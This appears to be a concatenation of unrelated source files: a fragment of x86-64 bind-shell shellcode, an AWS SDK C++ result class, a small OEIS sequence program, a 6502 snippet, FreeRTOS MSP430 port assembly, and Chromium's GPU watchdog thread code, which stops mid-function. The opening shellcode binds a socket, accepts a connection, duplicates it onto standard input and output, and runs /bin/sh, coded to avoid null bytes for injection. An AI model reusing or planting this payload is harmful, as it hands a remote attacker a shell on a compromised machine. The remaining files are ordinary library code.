push rax ; push another 8 bytes of 0 onto the stack
mov word [rsp+2], 0x5c11 ; push 2 bytes for the port
mov byte [rsp], 0x2 ; push a single byte for the inet family
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
; mov rax, 49
xor rax, rax
mov al, 49
mov rsi, rsp
; mov rdx, 16
xor rdx, rdx
add rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
; mov rax, 50
; mov rsi, 2
xor rax, rax
mov sil, al
mov al, 50
add sil, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
; mov rax, 43
xor rax, rax
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
;mov rax, 3
sub rax, rax ; just do something different to clear %rax by subtracting it from itself
inc al ; and incrementing the first byte 1 at a time
inc al
inc al
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
;mov rax, 33
xor rcx, rcx
mov al, cl
add al, 33
;mov rsi, 0
xor rsi, rsi
syscall
;mov rax, 33
;mov rsi, 1
xor rax, rax
mov sil, al
add al, 33
inc sil
syscall
; mov rax, 33
; mov rsi, 2
xor rax, rax
mov sil, al
add al, 33
inc sil
inc sil
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/servicecatalog/model/DescribeProvisioningArtifactResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::ServiceCatalog::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
DescribeProvisioningArtifactResult::DescribeProvisioningArtifactResult() :
m_status(Status::NOT_SET)
{
}
DescribeProvisioningArtifactResult::DescribeProvisioningArtifactResult(const Aws::AmazonWebServiceResult<JsonValue>& result) :
m_status(Status::NOT_SET)
{
*this = result;
}
DescribeProvisioningArtifactResult& DescribeProvisioningArtifactResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
JsonView jsonValue = result.GetPayload().View();
if(jsonValue.ValueExists("ProvisioningArtifactDetail"))
{
m_provisioningArtifactDetail = jsonValue.GetObject("ProvisioningArtifactDetail");
}
if(jsonValue.ValueExists("Info"))
{
Aws::Map<Aws::String, JsonView> infoJsonMap = jsonValue.GetObject("Info").GetAllObjects();
for(auto& infoItem : infoJsonMap)
{
m_info[infoItem.first] = infoItem.second.AsString();
}
}
if(jsonValue.ValueExists("Status"))
{
m_status = StatusMapper::GetStatusForName(jsonValue.GetString("Status"));
}
return *this;
}
|
; A021929: Decimal expansion of 1/925.
; 0,0,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1,0,8,1
lpb $0,1
pow $0,4
sub $0,1
lpe
mov $1,$0
add $1,$0
mod $1,3
pow $1,3
|
sty $ff
cpz $ff
bcc {la1} |
;/*
; * FreeRTOS Kernel <DEVELOPMENT BRANCH>
; * Copyright (C) 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * SPDX-License-Identifier: MIT
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://github.com/FreeRTOS
; *
; */
; * The definition of the "register test" tasks, as described at the top of
; * main.c
.include data_model.h
.global xTaskIncrementTick
.global vTaskSwitchContext
.global vPortSetupTimerInterrupt
.global pxCurrentTCB
.global usCriticalNesting
.def vPortPreemptiveTickISR
.def vPortCooperativeTickISR
.def vPortYield
.def xPortStartScheduler
;-----------------------------------------------------------
portSAVE_CONTEXT .macro
;Save the remaining registers.
pushm_x #12, r15
mov.w &usCriticalNesting, r14
push_x r14
mov_x &pxCurrentTCB, r12
mov_x sp, 0( r12 )
.endm
;-----------------------------------------------------------
portRESTORE_CONTEXT .macro
mov_x &pxCurrentTCB, r12
mov_x @r12, sp
pop_x r15
mov.w r15, &usCriticalNesting
popm_x #12, r15
nop
pop.w sr
nop
ret_x
.endm
;-----------------------------------------------------------
;*
;* The RTOS tick ISR.
;*
;* If the cooperative scheduler is in use this simply increments the tick
;* count.
;*
;* If the preemptive scheduler is in use a context switch can also occur.
;*/
.text
.align 2
vPortPreemptiveTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
call_x #vTaskSwitchContext
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.align 2
vPortCooperativeTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Manual context switch called by the portYIELD() macro.
;
.align 2
vPortYield: .asmfunc
; The sr needs saving before it is modified.
push.w sr
; Now the SR is stacked we can disable interrupts.
dint
nop
; Save the context of the current task.
portSAVE_CONTEXT
; Select the next task to run.
call_x #vTaskSwitchContext
; Restore the context of the new task.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Start off the scheduler by initialising the RTOS tick timer, then restoring
; the context of the first task.
;
.align 2
xPortStartScheduler: .asmfunc
; Setup the hardware to generate the tick. Interrupts are disabled
; when this function is called.
call_x #vPortSetupTimerInterrupt
; Restore the context of the first task that is going to run.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.end
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "gpu/ipc/service/gpu_watchdog_thread.h"
#include "base/atomicops.h"
#include "base/bind.h"
#include "base/bit_cast.h"
#include "base/callback_helpers.h"
#include "base/debug/alias.h"
#include "base/debug/dump_without_crashing.h"
#include "base/files/file_path.h"
#include "base/files/file_util.h"
#include "base/memory/ptr_util.h"
#include "base/metrics/histogram_functions.h"
#include "base/native_library.h"
#include "base/numerics/safe_conversions.h"
#include "base/power_monitor/power_monitor.h"
#include "base/process/process.h"
#include "base/strings/string_number_conversions.h"
#include "base/system/sys_info.h"
#include "base/task/current_thread.h"
#include "base/threading/platform_thread.h"
#include "base/threading/thread_task_runner_handle.h"
#include "base/time/time.h"
#include "build/build_config.h"
#include "gpu/config/gpu_crash_keys.h"
#include "gpu/ipc/common/result_codes.h"
#if defined(OS_WIN)
#include "base/win/windows_version.h"
#endif
namespace gpu {
#if defined(OS_WIN)
base::TimeDelta GetGpuWatchdogTimeoutBasedOnCpuCores() {
if (base::win::GetVersion() >= base::win::Version::WIN10) {
int num_of_processors = base::SysInfo::NumberOfProcessors();
if (num_of_processors > 8)
return (kGpuWatchdogTimeout - base::TimeDelta::FromSeconds(10));
else if (num_of_processors <= 4)
return kGpuWatchdogTimeout + base::TimeDelta::FromSeconds(5);
}
return kGpuWatchdogTimeout;
}
#endif
GpuWatchdogThread::GpuWatchdogThread(base::TimeDelta timeout,
int init_factor,
int restart_factor,
bool is_test_mode)
: base::Thread("GpuWatchdog"),
watchdog_timeout_(timeout),
watchdog_init_factor_(init_factor),
watchdog_restart_factor_(restart_factor),
in_gpu_initialization_(true),
is_test_mode_(is_test_mode),
watched_gpu_task_runner_(base::ThreadTaskRunnerHandle::Get()) {
base::CurrentThread::Get()->AddTaskObserver(this);
num_of_processors_ = base::SysInfo::NumberOfProcessors();
#if defined(OS_WIN)
// GetCurrentThread returns a pseudo-handle that cannot be used by one thread
// to identify another. DuplicateHandle creates a "real" handle that can be
// used for this purpose.
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
GetCurrentProcess(), &watched_thread_handle_,
THREAD_QUERY_INFORMATION, FALSE, 0)) {
watched_thread_handle_ = nullptr;
}
#endif
#if defined(USE_X11)
tty_file_ = base::OpenFile(
base::FilePath(FILE_PATH_LITERAL("/sys/class/tty/tty0/active")), "r");
UpdateActiveTTY();
host_tty_ = active_tty_;
#endif
Arm();
}
GpuWatchdogThread::~GpuWatchdogThread() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
// Stop() might take too long and the watchdog timeout is triggered.
// Disarm first before calling Stop() to avoid a crash.
if (IsArmed())
Disarm();
PauseWatchdog();
Stop(); // stop the watchdog thread
base::CurrentThread::Get()->RemoveTaskObserver(this);
base::PowerMonitor::RemovePowerSuspendObserver(this);
GpuWatchdogHistogram(GpuWatchdogThreadEvent::kGpuWatchdogEnd);
#if defined(OS_WIN)
if (watched_thread_handle_)
CloseHandle(watched_thread_handle_);
#endif
#if defined(USE_X11)
if (tty_file_)
fclose(tty_file_);
#endif
}
// static
std::unique_ptr<GpuWatchdogThread> GpuWatchdogThread::Create(
bool start_backgrounded,
base::TimeDelta timeout,
int init_factor,
int restart_factor,
bool is_test_mode) {
auto watchdog_thread = base::WrapUnique(new GpuWatchdogThread(
timeout, init_factor, restart_factor, is_test_mode));
base::Thread::Options options;
options.timer_slack = base::TIMER_SLACK_MAXIMUM;
watchdog_thread->StartWithOptions(options);
if (start_backgrounded)
watchdog_thread->OnBackgrounded();
return watchdog_thread;
}
// static
std::unique_ptr<GpuWatchdogThread> GpuWatchdogThread::Create(
bool start_backgrounded) {
#if defined(OS_WIN)
base::TimeDelta gpu_watchdog_timeout = GetGpuWatchdogTimeoutBasedOnCpuCores();
#else
base::TimeDelta gpu_watchdog_timeout = kGpuWatchdogTimeout;
#endif
return Create(start_backgrounded, gpu_watchdog_timeout, kInitFactor,
kRestartFactor, false);
}
// Do not add power observer during watchdog init, PowerMonitor might not be up
// running yet.
void GpuWatchdogThread::AddPowerObserver() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
// Forward it to the watchdog thread. Call PowerMonitor::AddObserver on the
// watchdog thread so that OnSuspend and OnResume will be called on watchdog
// thread.
is_add_power_observer_called_ = true;
task_runner()->PostTask(FROM_HERE,
base::BindOnce(&GpuWatchdogThread::OnAddPowerObserver,
base::Unretained(this)));
}
// Android Chrome goes to the background. Called from the gpu thread.
void GpuWatchdogThread::OnBackgrounded() {
task_runner()->PostTask(
FROM_HERE,
base::BindOnce(&GpuWatchdogThread::StopWatchdogTimeoutTask,
base::Unretained(this), kAndroidBackgroundForeground));
}
// Android Chrome goes to the foreground. Called from the gpu thread.
void GpuWatchdogThread::OnForegrounded() {
task_runner()->PostTask(
FROM_HERE,
base::BindOnce(&GpuWatchdogThread::RestartWatchdogTimeoutTask,
base::Unretained(this), kAndroidBackgroundForeground));
}
// Called from the gpu thread when gpu init has completed.
void GpuWatchdogThread::OnInitComplete() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
task_runner()->PostTask(
FROM_HERE, base::BindOnce(&GpuWatchdogThread::UpdateInitializationFlag,
base::Unretained(this)));
Disarm();
}
// Called from the gpu thread in viz::GpuServiceImpl::~GpuServiceImpl().
// After this, no Disarm() will be called before the watchdog thread is
// destroyed. If this destruction takes too long, the watchdog timeout
// will be triggered.
void GpuWatchdogThread::OnGpuProcessTearDown() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
in_gpu_process_teardown_ = true;
if (!IsArmed())
Arm();
}
// Called from the gpu main thread.
void GpuWatchdogThread::PauseWatchdog() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
task_runner()->PostTask(
FROM_HERE, base::BindOnce(&GpuWatchdogThread::StopWatchdogTimeoutTask,
base::Unretained(this), kGeneralGpuFlow));
}
// Called from the gpu main thread.
void GpuWatchdogThread::ResumeWatchdog() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
task_runner()->PostTask(
FROM_HERE, base::BindOnce(&GpuWatchdogThread::RestartWatchdogTimeoutTask,
base::Unretained(this), kGeneralGpuFlow));
}
// Running on the watchdog thread.
// On Linux, Init() will be called twice for Sandbox Initialization. The
// watchdog is stopped and then restarted in StartSandboxLinux(). Everything
// should be the same and continue after the second init().
void GpuWatchdogThread::Init() {
watchdog_thread_task_runner_ = base::ThreadTaskRunnerHandle::Get();
// Get and Invalidate weak_ptr should be done on the watchdog thread only.
weak_ptr_ = weak_factory_.GetWeakPtr();
base::TimeDelta timeout = watchdog_timeout_ * kInitFactor;
task_runner()->PostDelayedTask(
FROM_HERE,
base::BindOnce(&GpuWatchdogThread::OnWatchdogTimeout, weak_ptr_),
timeout);
last_arm_disarm_counter_ = ReadArmDisarmCounter();
watchdog_start_timeticks_ = base::TimeTicks::Now();
last_on_watchdog_timeout_timeticks_ = watchdog_start_timeticks_;
next_on_watchdog_timeout_time_ = base::Time::Now() + timeout;
#if defined(OS_WIN)
if (watched_thread_handle_) {
if (base::ThreadTicks::IsSupported())
base::ThreadTicks::WaitUntilInitialized();
last_on_watchdog_timeout_thread_ticks_ = GetWatchedThreadTime();
remaining_watched_thread_ticks_ = timeout;
}
#endif
}
// Running on the watchdog thread.
void GpuWatchdogThread::CleanUp() {
DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread());
weak_factory_.InvalidateWeakPtrs();
}
void GpuWatchdogThread::ReportProgress() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
InProgress();
}
void GpuWatchdogThread::WillProcessTask(const base::PendingTask& pending_task,
bool was_blocked_or_low_priority) {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
// The watchdog is armed at the beginning of the gpu process teardown.
// Do not call Arm() during teardown.
if (in_gpu_process_teardown_)
DCHECK(IsArmed());
else
Arm();
}
void GpuWatchdogThread::DidProcessTask(const base::PendingTask& pending_task) {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
// Keep the watchdog armed during tear down.
if (in_gpu_process_teardown_)
InProgress();
else
Disarm();
}
// Power Suspends. Running on the watchdog thread.
void GpuWatchdogThread::OnSuspend() {
StopWatchdogTimeoutTask(kPowerSuspendResume);
}
// Power Resumes. Running on the watchdog thread.
void GpuWatchdogThread::OnResume() {
RestartWatchdogTimeoutTask(kPowerSuspendResume);
}
// Running on the watchdog thread.
void GpuWatchdogThread::OnAddPowerObserver() {
DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread());
DCHECK(base::PowerMonitor::IsInitialized());
base::PowerMonitor::AddPowerSuspendObserver(this);
is_power_observer_added_ = true;
}
// Running on the watchdog thread.
void GpuWatchdogThread::RestartWatchdogTimeoutTask(
PauseResumeSource source_of_request) {
DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread());
base::TimeDelta timeout;
switch (source_of_request) {
case kAndroidBackgroundForeground:
if (!is_backgrounded_)
return;
is_backgrounded_ = false;
timeout = watchdog_timeout_ * watchdog_restart_factor_;
foregrounded_timeticks_ = base::TimeTicks::Now();
foregrounded_event_ = true;
num_of_timeout_after_foregrounded_ = 0;
break;
case kPowerSuspendResume:
if (!in_power_suspension_)
return;
in_power_suspension_ = false;
timeout = watchdog_timeout_ * watchdog_restart_factor_;
power_resume_timeticks_ = base::TimeTicks::Now();
power_resumed_event_ = true;
num_of_timeout_after_power_resume_ = 0;
break;
case kGeneralGpuFlow:
if (!is_paused_)
return;
is_paused_ = false;
timeout = watchdog_timeout_ * watchdog_init_factor_;
watchdog_resume_timeticks_ = base::TimeTicks::Now();
break;
}
if (!is_backgrounded_ && !in_power_suspension_ && !is_paused_) {
weak_ptr_ = weak_factory_.GetWeakPtr();
task_runner()->PostDelayedTask(
FROM_HERE,
base::BindOnce(&GpuWatchdogThread::OnWatchdogTimeout, weak_ptr_),
timeout);
last_on_watchdog_timeout_timeticks_ = base::TimeTicks::Now();
next_on_watchdog_timeout_time_ = base::Time::Now() + timeout;
last_arm_disarm_counter_ = ReadArmDisarmCounter();
#if defined(OS_WIN)
if (watched_thread_handle_) {
last_on_watchdog_timeout_thread_ticks_ = GetWatchedThreadTime();
remaining_watched_thread_ticks_ = timeout;
}
#endif
}
}
void GpuWatchdogThread::StopWatchdogTimeoutTask(
PauseResumeSource source_of_request) {
DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread());
switch (source_of_request) {
case kAndroidBackgroundForeground:
if (is_backgrounded_)
return;
is_backgrounded_ = true;
backgrounded_timeticks_ = base::TimeTicks::Now();
foregrounded_event_ = false;
break;
case kPowerSuspendResume:
if (in_power_suspension_)
return;
in_power_suspension_ = true;
power_suspend_timeticks_ = base::TimeTicks::Now();
power_resumed_event_ = false;
break;
case kGeneralGpuFlow:
if (is_paused_)
return;
is_paused_ = true;
watchdog_pause_timeticks_ = base::TimeTicks::Now();
break;
}
// Revoke any pending watchdog timeout task
weak_factory_.InvalidateWeakPtrs();
}
void GpuWatchdogThread::UpdateInitializationFlag() {
in_gpu_initialization_ = false;
}
// Called from the gpu main thread.
// The watchdog is armed only in these three functions -
// GpuWatchdogThread(), WillProcessTask(), and OnGpuProcessTearDown()
void GpuWatchdogThread::Arm() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
base::subtle::NoBarrier_AtomicIncrement(&arm_disarm_counter_, 1);
// Arm/Disarm are always called in sequence. Now it's an odd number.
DCHECK(IsArmed());
}
void GpuWatchdogThread::Disarm() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
base::subtle::NoBarrier_AtomicIncrement(&arm_disarm_counter_, 1);
// Arm/Disarm are always called in sequence. Now it's an even number.
DCHECK(!IsArmed());
}
void GpuWatchdogThread::InProgress() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
// Increment by 2. This is equivalent to Disarm() + Arm().
base::subtle::NoBarrier_AtomicIncrement(&arm_disarm_counter_, 2);
// Now it's an odd number.
DCHECK(IsArmed());
}
bool GpuWatchdogThread::IsArmed() {
// It's an odd number.
return base::subtle::NoBarrier_Load(&arm_disarm_counter_) & 1;
}
base::subtle::Atomic32 GpuWatchdogThread::ReadArmDisarmCounter() {
return base::subtle::NoBarrier_Load(&arm_disarm_counter_);
}
// Running on the watchdog thread.
void GpuWatchdogThread::OnWatchdogTimeout() {
DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread());
DCHECK(!is_backgrounded_);
DCHECK(!in_power_suspension_);
DCHECK(!is_paused_);
// If this metric is added too early (eg. watchdog creation time), it cannot
// be persistent. The histogram data will be lost after crash or browser exit.
// Delay the recording of kGpuWatchdogStart until the firs
// OnWatchdogTimeout() to ensure this metric is created in the persistent
// memory.
if (!is_watchdog_start_histogram_recorded) {
is_watchdog_start_histogram_recorded = true;
GpuWatchdogHistogram(GpuWatchdogThreadEvent::kGpuWatchdogStart);
}
auto arm_disarm_counter = ReadArmDisarmCounter();
GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kTimeout);
if (power_resumed_event_)
num_of_timeout_after_power_resume_++;
if (foregrounded_event_)
num_of_timeout_after_foregrounded_++;
#if defined(USE_X11)
UpdateActiveTTY();
#endif
// Collect all needed info for gpu hang detection.
bool disarmed = arm_disarm_counter % 2 == 0; // even number
bool gpu_makes_progress = arm_disarm_counter != last_arm_disarm_counter_;
bool no_gpu_hang = disarmed || gpu_makes_progress || SlowWatchdogThread();
bool watched_thread_needs_more_time =
WatchedThreadNeedsMoreThreadTime(no_gpu_hang);
no_gpu_hang = no_gpu_hang || watched_thread_needs_more_time ||
ContinueOnNonHostX11ServerTty();
// No gpu hang. Continue with another OnWatchdogTimeout task.
if (no_gpu_hang) {
last_on_watchdog_timeout_timeticks_ = base::TimeTicks::Now();
next_on_watchdog_timeout_time_ = base::Time::Now() + watchdog_timeout_;
last_arm_disarm_counter_ = ReadArmDisarmCounter();
task_runner()->PostDelayedTask(
FROM_HERE,
base::BindOnce(&GpuWatchdogThread::OnWatchdogTimeout, weak_ptr_),
watchdog_timeout_);
return;
}
// Still armed without any progress. GPU possibly hangs.
GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kKill);
#if defined(OS_WIN)
if (less_than_full_thread_time_after_capped_)
GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kKillOnLessThreadTime);
#endif
DeliberatelyTerminateToRecoverFromHang();
}
bool GpuWatchdogThread::SlowWatchdogThread() {
// If it takes 15 more seconds than the expected time between two
// OnWatchdogTimeout() calls, the system is considered slow and it's not a GPU
// hang.
bool slow_watchdog_thread =
(base::Time::Now() - next_on_watchdog_timeout_time_) >=
base::TimeDelta::FromSeconds(15);
// Record this case only when a GPU hang is detected and the thread is slow.
if (slow_watchdog_thread)
GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kSlowWatchdogThread);
return slow_watchdog_thread;
}
bool GpuWatchdogThread::WatchedThreadNeedsMoreThreadTime(
bool no_gpu_hang_detected) {
#if defined(OS_WIN)
if (!watched_thread_handle_)
return false;
// We allow extra thread time. When that runs out, we extend extra timeout
// cycles. Now, we are extending extra timeout cycles. Don't add extra thread
// time.
if (count_of_extra_cycles_ > 0)
return false;
WatchedThreadNeedsMoreThreadTimeHistogram(
no_gpu_hang_detected,
/*start_of_more_thread_time*/ false);
if (!no_gpu_hang_detected && count_of_more_gpu_thread_time_allowed_ >=
kMaxCountOfMoreGpuThreadTimeAllowed) {
less_than_full_thread_time_after_capped_ = true;
} else {
less_than_full_thread_time_after_capped_ = false;
}
// Calculate how many thread ticks the watched thread spent doing the work.
base::ThreadTicks now = GetWatchedThreadTime();
base::TimeDelta thread_time_elapsed =
now - last_on_watchdog_timeout_thread_ticks_;
last_on_watchdog_timeout_thread_ticks_ = now;
remaining_watched_thread_ticks_ -= thread_time_elapsed;
if (no_gpu_hang_detected ||
count_of_more_gpu_thread_time_allowed_ >=
kMaxCountOfMoreGpuThreadTimeAllowed ||
thread_time_elapsed < base::TimeDelta() /* bogus data */ ||
remaining_watched_thread_ticks_ <= base::TimeDelta()) {
// Reset the remaining thread ticks.
remaining_watched_thread_ticks_ = watchdog_timeout_;
count_of_more_gpu_thread_time_allowed_ = 0;
return false;
} else {
// This is the start of allowing more thread time.
if (count_of_more_gpu_thread_time_allowed_ == 0) {
WatchedThreadNeedsMoreThreadTimeHistogram(
no_gpu_hang_detected, /*start_of_more_thread_time*/ true);
}
count_of_more_gpu_thread_time_allowed_++;
return true;
}
#else
return false;
#endif
}
#if defined(OS_WIN)
base::ThreadTicks GpuWatchdogThread::GetWatchedThreadTime() {
DCHECK(watched_thread_handle_);
if (base::ThreadTicks::IsSupported()) {
// Note: GetForThread() might return bogus results if running on different
// CPUs between two calls.
return base::ThreadTicks::GetForThread(
base::PlatformThreadHandle(watched_thread_handle_));
} else {
FILETIME creation_time;
FILETIME exit_time;
FILETIME kernel_time;
FILETIME user_time;
BOOL result = GetThreadTimes(watched_thread_handle_, &creation_time,
&exit_time, &kernel_time, &user_time);
if (!result)
return base::ThreadTicks();
// Need to bit_cast to fix alignment, then divide by 10 to convert
// 100-nanoseconds to microseconds.
int64_t user_time_us = bit_cast<int64_t, FILETIME>(user_time) / 10;
int64_t kernel_time_us = bit_cast<int64_t, FILETIME>(kernel_time) / 10;
return base::ThreadTicks() +
base::TimeDelta::FromMicroseconds(user_time_us + kernel_time_us);
}
}
#endif
void GpuWatchdogThread::DeliberatelyTerminateToRecoverFromHang() {
DCHECK(watchdog_thread_task_runner_->BelongsToCurrentThread());
// If this is for gpu testing, do not terminate the gpu process.
if (is_test_mode_) {
test_result_timeout_and_gpu_hang_.Set();
return;
}
#if defined(OS_WIN)
if (IsDebuggerPresent())
return;
#endif
// Store variables so they're available in crash dumps to help determine the
// cause of any hang.
base::TimeTicks function_begin_timeticks = base::TimeTicks::Now();
base::debug::Alias(&in_gpu_initialization_);
base::debug::Alias(&num_of_timeout_after_power_resume_);
base::debug::Alias(&num_of_timeout_after_foregrounded_);
base::debug::Alias(&function_begin_timeticks);
base::debug::Alias(&watchdog_start_timeticks_);
base::debug::Alias(&power_suspend_timeticks_);
base::debug::Alias(&power_resume_timeticks_);
base::debug::Alias(&backgrounded_timeticks_);
base::debug::Alias(&foregrounded_timeticks_);
base::debug::Alias(&watchdog_pause_timeticks_);
base::debug::Alias(&watchdog_resume_timeticks_);
base::debug::Alias(&in_power_suspension_);
base::debug::Alias(&in_gpu_process_teardown_);
base::debug::Alias(&is_backgrounded_);
base::debug::Alias(&is_add_power_observer_called_);
base::debug::Alias(&is_power_observer_added_);
base::debug::Alias(&last_on_watchdog_timeout_timeticks_);
base::TimeDelta timeticks_elapses =
function_begin_timeticks - last_on_watchdog_timeout_timeticks_;
base::debug::Alias(&timeticks_elapses);
#if defined(OS_WIN)
base::debug::Alias(&remaining_watched_thread_ticks_);
base::debug::Alias(&less_than_full_thread_time_after_capped_);
#endif
GpuWatchdogHistogram(GpuWatchdogThreadEvent::kGpuWatchdogKill);
crash_keys::gpu_watchdog_crashed_in_gpu_init.Set(
in_gpu_initialization_ ? "1" : "0");
crash_keys::gpu_watchdog_kill_after_power_resume.Set(
WithinOneMinFromPowerResumed() ? "1" : "0");
crash_keys::num_of_processors.Set(base::NumberToString(num_of_processors_));
// Check the arm_disarm_counter value one more time.
auto last_arm_disarm_counter = ReadArmDisarmCounter();
base::debug::Alias(&last_arm_disarm_counter);
// Use RESULT_CODE_HUNG so this crash is separated from other
// EXCEPTION_ACCESS_VIOLATION buckets for UMA analysis.
// Create a crash dump first. TerminateCurrentProcessImmediately will not
// create a dump.
base::debug::DumpWithoutCrashing();
base::Process::TerminateCurrentProcessImmediately(RESULT_CODE_HUNG);
}
void GpuWatchdogThread::GpuWatchdogHistogram(
GpuWatchdogThreadEvent thread_event) {
base::UmaHistogramEnumeration("GPU.WatchdogThread.Event", thread_event);
}
void GpuWatchdogThread::GpuWatchdogTimeoutHistogram(
GpuWatchdogTimeoutEvent timeout_event) {
base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout", timeout_event);
bool recorded = false;
if (in_gpu_initialization_) {
base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.Init",
timeout_event);
recorded = true;
}
if (WithinOneMinFromPowerResumed()) {
base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.PowerResume",
timeout_event);
recorded = true;
}
if (WithinOneMinFromForegrounded()) {
base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.Foregrounded",
timeout_event);
recorded = true;
}
if (!recorded) {
base::UmaHistogramEnumeration("GPU.WatchdogThread.Timeout.Normal",
timeout_event);
}
}
#if defined(OS_WIN)
void GpuWatchdogThread::RecordExtraThreadTimeHistogram() {
// Record the number of timeouts the GPU main thread needs to make a progress
// after GPU OnWatchdogTimeout() is triggered. The maximum count is 6 which
// is more than kMaxCountOfMoreGpuThreadTimeAllowed(4);
constexpr int kMin = 1;
constexpr int kMax = 6;
constexpr int kBuckets = 6;
int count = count_of_more_gpu_thread_time_allowed_;
bool recorded = false;
base::UmaHistogramCustomCounts("GPU.WatchdogThread.ExtraThreadTime", count,
kMin, kMax, kBuckets);
if (in_gpu_initialization_) {
base::UmaHistogramCustomCounts("GPU.WatchdogThread.ExtraThreadTime.Init",
count, kMin, kMax, kBuckets);
recorded = true;
}
if (WithinOneMinFromPowerResumed()) {
base::UmaHistogramCustomCounts(
"GPU.WatchdogThread.ExtraThreadTime.PowerResume", count, kMin, kMax,
kBuckets);
recorded = true;
}
if (WithinOneMinFromForegrounded()) {
base::UmaHistogramCustomCounts(
"GPU.WatchdogThread.ExtraThreadTime.Foregrounded", count, kMin, kMax,
kBuckets);
recorded = true;
}
if (!recorded) {
base::UmaHistogramCustomCounts("GPU.WatchdogThread.ExtraThreadTime.Normal",
count, kMin, kMax, kBuckets);
}
}
void GpuWatchdogThread::RecordNumOfUsersWaitingWithExtraThreadTimeHistogram(
int count) {
constexpr int kMax = 4;
base::UmaHistogramExactLinear("GPU.WatchdogThread.ExtraThreadTime.NumOfUsers",
count, kMax);
